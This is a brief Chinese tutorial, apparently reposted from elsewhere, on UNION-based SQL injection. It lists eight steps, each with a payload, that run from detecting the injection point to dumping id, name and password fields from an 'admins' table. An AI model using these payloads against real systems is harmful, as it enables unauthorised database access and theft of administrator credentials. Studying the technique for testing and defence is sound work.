SQL注入之联合查询注入


联合查询的步骤为:

1.判断是否存在注入点。

  ‘and 1=1 #

  ‘and 1=2 #

2.判断所在的数据库有几列

  'order by 1 #

3.判断他显示的内容在数据库的第几列

  yiz' union select 1 #

4.查找当前用户权限

  yiz' union select user() #

5.查找当前数据库

  yiz' union select database() #

6.查找数据库的表名

  yiz'union select (select table_name from information_schema.tables where table_schema='grade' limit 0,1) #

7.查询数据库中表下的字段

yiz'union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins')#

8.查询数据库下字段中的内容。

yiz'union select (select group_concat(id ,0x3a,name,0x3a,pass) from grade.admins)#


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM